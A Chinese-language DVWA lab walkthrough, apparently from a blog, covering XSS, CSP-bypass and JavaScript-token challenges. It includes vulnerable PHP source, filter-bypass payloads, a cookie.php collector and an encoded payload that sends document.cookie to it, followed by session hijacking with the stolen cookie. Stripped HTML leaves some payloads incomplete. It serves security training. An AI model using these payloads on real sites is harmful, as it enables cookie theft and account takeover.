  • XSS,全称Cross Site Scripting,即跨站脚本攻击,通常指黑客通过 HTML 注入恶意脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。
  • 根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS与反射型的XSS。DOM型的XSS由于其特殊性,常常被分为第三种,这是一种基于DOM树的XSS。例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。DOM型XSS可能是存储型,也有可能是反射型。
  • XSS利用的常见用途:盗取用户cookies、劫持会话、流量劫持、网页挂马、DDOS、提升权限等等。

3.10.1 XSS(DOM)(DOM型跨站脚本攻击)

  • DOM:DOM(Document Object Model)即文档对象模型,是W3C制定的标准接口规范,是一种处理HTML和XML文件的标准API。DOM提供了对整个文档的访问模型,将文档作为一个树形结构,树的每个结点表示了一个HTML标签或标签内的文本项。DOM树结构精确地描述了HTML文档中标签间的相互关联性。将HTML或XML文档转化为DOM树的过程称为解析(parse)。HTML文档被解析后,转化为DOM树,因此对HTML文档的处理可以通过对DOM树的操作实现。
  • 下面举例一个DOM将HTML代码转化成树状结构:
<html>
    <head>
        <meta charset="gbk" />
        <title> TEST title>
    head>
    <body>
        <p>The is p.<p>
        <h1>Product:h1>
        <ul>
            <li>Appleli>
            <li>Pearli>
            <li>Cornli>
        ul>
    body>
html>

  • 转化成模型如下图:
    网络安全之DVWA通关教程_第155张图片

3.10.1.1 Low级别



# No protections, anything goes

?>

  • 源码中无任何保护措施,直接尝试注入;选择English然后点击Select,查看URL变化:

网络安全之DVWA通关教程_第156张图片

  • 我们直接在URL处增加payloaddefault=内容(其中内容,直接访问时,页面无响应:说明查看返回结果:
    网络安全之DVWA通关教程_第166张图片
  • 查看源码,发现刚输入的前端代码:
    网络安全之DVWA通关教程_第167张图片
  • 结论:成功弹窗,说明存在XSS漏洞并且可利用;
  • 利用XSS获取cookie,编写一个cookie.php文档用于获取页面的cookie,放置在指定目录下,文档内容如下:此代码将获取到的cookie写入到cookie.txt中:

   $cookie = $_GET["cookie"];
   file_put_contents("cookie.txt",$cookie);
 ?>

网络安全之DVWA通关教程_第168张图片

  • 构造payload获取cookie,其中http://127.0.0.1/dvwa/vulnerabilities/xss_r/cookie.phpcookie.php文件的路径;将payload进行URL编码(http://www.jsons.cn/urlencode/)
    网络安全之DVWA通关教程_第169张图片
  • 将编码后的内容%3Cscript%3Edocument.location%3D%22http%3A%2F%2F127.0.0.1%2Fdvwa%2Fvulnerabilities%2Fxss_r%2Fcookie.php%3Fcookie%3D%22%2Bdocument.cookie%3C%2Fscript%3E拼接到后http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=组成http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=%253Cscript%253Edocument.location%253D%2522http%253A%252F%252F127.0.0.1%252Fdvwa%252Fvulnerabilities%252Fxss_r%252Fcookie.php%253Fcookie%253D%2522%252Bdocument.cookie%253C%252Fscript%253E#进行访问,访问结果如下所示:

在这里插入图片描述

  • 此时我们在cookie.php相同目录下生成一个cookie.txt文件:
    网络安全之DVWA通关教程_第170张图片

  • 或者采用payload在输入框中输入,直接获取cookie
    网络安全之DVWA通关教程_第171张图片

  • 利用获取到的cookie登录DVWA,获取到cookie后打开另外一个浏览器访问dvwa,f12打开开发者工具,修改cookie为获取的cookie并将security 设为low,火狐浏览器修改cookie如下:
    网络安全之DVWA通关教程_第172张图片

  • 成功进入:
    网络安全之DVWA通关教程_第173张图片

  • 或者采用Burpsuite进行抓包,改包,如下所示:
    网络安全之DVWA通关教程_第174张图片网络安全之DVWA通关教程_第175张图片

  • 谷歌浏览器修改cookie如下:
    网络安全之DVWA通关教程_第176张图片

  • 成功进入:
    网络安全之DVWA通关教程_第177张图片

3.10.2.2 Middle级别



header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
	// Get input
	$name = str_replace( ',成功弹窗:
网络安全之DVWA通关教程_第178张图片

  • 双写绕过:
    输入ript>alert(/xss/),成功弹窗:
    网络安全之DVWA通关教程_第179张图片

  • 输入其他标签:
    输入click,成功弹窗: 标签定义超链接,用于从一张页面链接到另一张页面; 元素最重要的属性是 href 属性,它指明链接的目标。
    网络安全之DVWA通关教程_第180张图片

  • 3.10.2.3 High级别

    
    
    header ("X-XSS-Protection: 0");
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    	// Get input
    	$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); 
    	// /i表示不区分大小写
    
    	// Feedback for end user
    	$html .= "
    Hello ${name}
    "
    ; } ?>
    • preg_replace()函数进行正则表达式过滤,这里写在message输入框里面的,name输入框是限制长度的,其实这个长度限制如果仅仅是在html中控制,是可以突破的。等到第二步的时候来突破:
      网络安全之DVWA通关教程_第182张图片

    • 2)尝试突破一下name输入框长度限制:F12打开之后在elements里面找到name元素,可以看到name输入框maxlength是10,直接把maxlength的值改成100:
      网络安全之DVWA通关教程_第183张图片网络安全之DVWA通关教程_第184张图片这样就可以绕开输入框长度的html标签属性限制:
      网络安全之DVWA通关教程_第185张图片
    • 打开数据库,发现文本已写入数据库中。

    网络安全之DVWA通关教程_第186张图片

    3.10.3.2 Middle级别

    
    
    if( isset( $_POST[ 'btnSign' ] ) ) {
    	// Get input
    	$message = trim( $_POST[ 'mtxMessage' ] );
    	$name    = trim( $_POST[ 'txtName' ] );
    
    	// Sanitize message input
    	$message = strip_tags( addslashes( $message ) );
    	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    	$message = htmlspecialchars( $message );
    
    	// Sanitize name input
    	$name = str_replace( ',点击Froward,成功弹窗:
    网络安全之DVWA通关教程_第187张图片网络安全之DVWA通关教程_第188张图片
  • 大小写混淆绕过:抓包改name参数为,点击Forward,成功弹窗:
    网络安全之DVWA通关教程_第189张图片网络安全之DVWA通关教程_第190张图片
  • 使用不带script标签的payload,如输入,鼠标移动到图片,触发弹窗:
    网络安全之DVWA通关教程_第191张图片网络安全之DVWA通关教程_第192张图片
  • 修改name修改长度限制为100,输入,触发弹窗:
    网络安全之DVWA通关教程_第193张图片
  • 3.10.3.3 High级别

    
    
    if( isset( $_POST[ 'btnSign' ] ) ) {
    	// Get input
    	$message = trim( $_POST[ 'mtxMessage' ] );
    	$name    = trim( $_POST[ 'txtName' ] );
    
    	// Sanitize message input
    	$message = strip_tags( addslashes( $message ) );
    	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    	$message = htmlspecialchars( $message );
    
    	// Sanitize name input
    	$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
    	// Update database
    	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '
    ' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
    '
    ); //mysql_close(); } ?>
    • 可以看到,这里使用正则表达式过滤了 "; } $page[ 'body' ] .= '

      You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:

      '
      ;
    $headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com ;";
    

    上句代码可以看出以下外部资源可以被执行:

    https://pastebin.com
    hastebin.com
    example.com
    code.jquery.com
    https://ssl.google-analytics.com
    
    • 访问https://pastebin.com/,可以在New Paste中写下代码,点击create去创建链接:
      网络安全之DVWA通关教程_第197张图片
    • 点击raw:
      网络安全之DVWA通关教程_第198张图片
    • 复制出现的链接,如https://pastebin.com/raw/76t1zXbt
      网络安全之DVWA通关教程_第199张图片
    • CSP页面的输入框输入刚才的链接,成功弹窗:
      网络安全之DVWA通关教程_第200张图片
    • 这里需要说明一下,https://pastebin.com/这个网址是美国的,访问比较慢,可能不会出现弹窗。

    3.11.2 Middle级别

    
    
    $headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
    
    header($headerCSP);
    
    // Disable XSS protections so that inline alert boxes will work
    header ("X-XSS-Protection: 0");
    
    # 
    
    ?>
    <?php
    if (isset ($_POST['include'])) {
    $page[ 'body' ] .= "
    	" . $_POST['include'] . "
    ";
    }
    $page[ 'body' ] .= '
    

    Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.

    '
    ;
    • 输入源码中的注释内容# ,发现可以直接弹窗:
      网络安全之DVWA通关教程_第201张图片
    • 接下来查看CSP信息:
    $headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
    
    • unsafe-inline:当csp有Unsafe-inline时, 并且受限于csp无法直接引入外部js, 不过当frame-srcself, 或者能引入当前域的资源的时候, 即有一定可能能够引入外部js。nonce-source,仅允许特定的内联脚本块。如源码中:nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=',所以我们直接输入源码中注释的内容就可以了
      就可以弹窗。

    3.11.3 High级别

    网络安全之DVWA通关教程_第202张图片

    • 这个级别已经没有输入框了,不过题目已经给了足够多的提示:该页面调用../..//vulnerabilities/csp/source/jsonp.php来加载代码。修改该页面以运行您自己的代码。
      jsonp.php:
    
    header("Content-Type: application/json; charset=UTF-8");
    
    if (array_key_exists ("callback", $_GET)) {
    	$callback = $_GET['callback'];
    } else {
    	return "";
    }
    
    $outp = array ("answer" => "15");
    
    echo $callback . "(".json_encode($outp).")";
    ?>
    
    
    • 查看源码:
     
    <?php
    $headerCSP = "Content-Security-Policy: script-src 'self';";
     
    header($headerCSP);
     
    ?>
    <?php
    if (isset ($_POST['include'])) {
    $page[ 'body' ] .= "
        " . $_POST['include'] . "
    ";
    }
    $page[ 'body' ] .= '
    

    The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.

    1+2+3+4+5=

    '
    ;
    • 首先先看一下 CSP 头,发现只有 script-src 'self ,看来只允许本界面加载的 javascript 执行。查看source/high.js源码:
    function clickButton() {
        var s = document.createElement("script");
        s.src = "source/jsonp.php?callback=solveSum";
        document.body.appendChild(s);
    }
    
    function solveSum(obj) {
    	if ("answer" in obj) {
    		document.getElementById("answer").innerHTML = obj['answer'];
    	}
    }
    
    var solve_button = document.getElementById ("solve");
    
    if (solve_button) {
    	solve_button.addEventListener("click", function() {
    		clickButton();
    	});
    }
    
    
    • 大致流程如下:
      1)点击按钮,js 生成一个 script 标签(src 指向 source/jsonp.php?callback=solveNum),并把它加入到 DOM 中;
      2)js 中定义了一个 solveNum 的函数,因此 script 标签会把远程加载的 solveSum({“answer”:“15”}) 当作js代码执行,而这个形式正好就是调用了 solveSum 函数;
      3)然后这个函数就会在界面适当的位置写入答案。
    • 可以将 s.src = "source/jsonp.php?callback=solveSum";改为s.src = "source/jsonp.php?callback=alert('/xss/');";,点击Solve the sum可触发告警:
      网络安全之DVWA通关教程_第203张图片网络安全之DVWA通关教程_第204张图片

    3.12 JavaScript

    • 在页面上输入的内容中带有可执行的 javascript,在输入内容时执行了木马代码,就会导致网页收到安全威胁。

    3.12.1 Low级别

    • Phase 中输入 success,提交一下会出现 Invalid token,后端很有可能对token进行了校验。
      网络安全之DVWA通关教程_第205张图片
    • Burpsuite抓包,分别在Phase 中输入ChangeMe success,查看请求参数:
      网络安全之DVWA通关教程_第206张图片网络安全之DVWA通关教程_第207张图片
    • 发现token值一样,可以看到,无论我们怎样更改phrase的值,token都不会发生变化,也就是说,token的处理方式有两种可能:
      1、处理token时,并不会关联phrase的值;
      2、处理token时,只会关联phrase的初始值:ChangeMe
    • 查看源码:
    
    $page[ 'body' ] .= <<<EOF
    
    EOF;
    ?>
    
    
    • 主要查看generate_token()方法:
    function generate_token() {
    		var phrase = document.getElementById("phrase").value;
    		document.getElementById("token").value = md5(rot13(phrase));
    }
    
    • generate_token()方法,拿到了input输入框的phrase的值,然后再以md5加密的方式赋给了隐藏的input输入框的token,也就是说phrase的值是和token的值成关联的,phrase的值经过md5加密后,再赋给token,最后提交给后端。

    网络安全之DVWA通关教程_第208张图片

    • 攻击方式1:先在控制台执行md5(rot13("success")) 生成success的MD5值,将MD5值复制到BurpSuite中,进行请求,发现注入成功:网络安全之DVWA通关教程_第209张图片网络安全之DVWA通关教程_第210张图片
    • 攻击方式2:先输入success,运行函数generate_token(),最后点击Submit,发现可以注入成功:网络安全之DVWA通关教程_第211张图片网络安全之DVWA通关教程_第212张图片

    3.12.2 Middle级别

    • 生成token的函数放在单独的js文件中,生成的方式是将 "XX" + phrase 变量的值 + "XX"字符串反转作为 token
    
    $page[ 'body' ] .= '';
    ?>
    
    • medium.js代码:
    function do_something(e)
    {
          for(var t = "", n = e.length - 1; n >=0; n--)
                t += e[n];
          return t
    }
    
    setTimeout(function()
    {
          do_elsesomething("XX")
    },300);
    
    function do_elsesomething(e)
    {
          document.getElementById("token").value = do_something(e + document.getElementById("phrase").value + "XX")
    }
    
    • 攻击方式:首先注入 success 之后抓包看看,现在的 tokenXXChangMeXX 的反转;
      网络安全之DVWA通关教程_第213张图片
    • 控制台运行下 do_elsesomething("XX") 函数,再次注入success 即可;
      网络安全之DVWA通关教程_第214张图片网络安全之DVWA通关教程_第215张图片
    • 或者按规则改下BurpSuite抓包的token值:
      网络安全之DVWA通关教程_第216张图片

    3.12.3 High级别

    • 至少有一个 JavaScript 混淆了,需要找出还原后的重要代码;
    • 源码:
    
    $page[ 'body' ] .= '';
    ?>
    
    • high.js源码:源码是一团乱码,这是典型的 JS 混淆,混淆代码如下所示:
      网络安全之DVWA通关教程_第217张图片
    • 使用还原工具(还原工具:http://deobfuscatejavascript.com/#)得到还原后的关键代码如下:
    function do_something(e) {
        for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
        return t
    }
    function token_part_3(t, y = "ZZ") {
        document.getElementById("token").value = sha256(document.getElementById("token").value + y)
    }
    function token_part_2(e = "YY") {
        document.getElementById("token").value = sha256(e + document.getElementById("token").value)
    }
    function token_part_1(a, b) {
        document.getElementById("token").value = do_something(document.getElementById("phrase").value)
    }
    document.getElementById("phrase").value = "";
    setTimeout(function() {
        token_part_2("XX")
    }, 300);
    document.getElementById("send").addEventListener("click", token_part_3);
    token_part_1("ABCD", 44);
    
    • 由于执行 token_part_2("XX") 有 300 毫秒延时,所以 token_part_1("ABCD", 44) 会被先执行,而 token_part_3() 则是和提交按钮的click事件一起执行。
    • 攻击方式:输入框输入success,依次执行 token_part_1("ABCD", 44) token_part_2("XX"),最后点击提交执行 token_part_3()
      网络安全之DVWA通关教程_第218张图片网络安全之DVWA通关教程_第219张图片

    你可能感兴趣的:(网络安全,web安全,php,安全)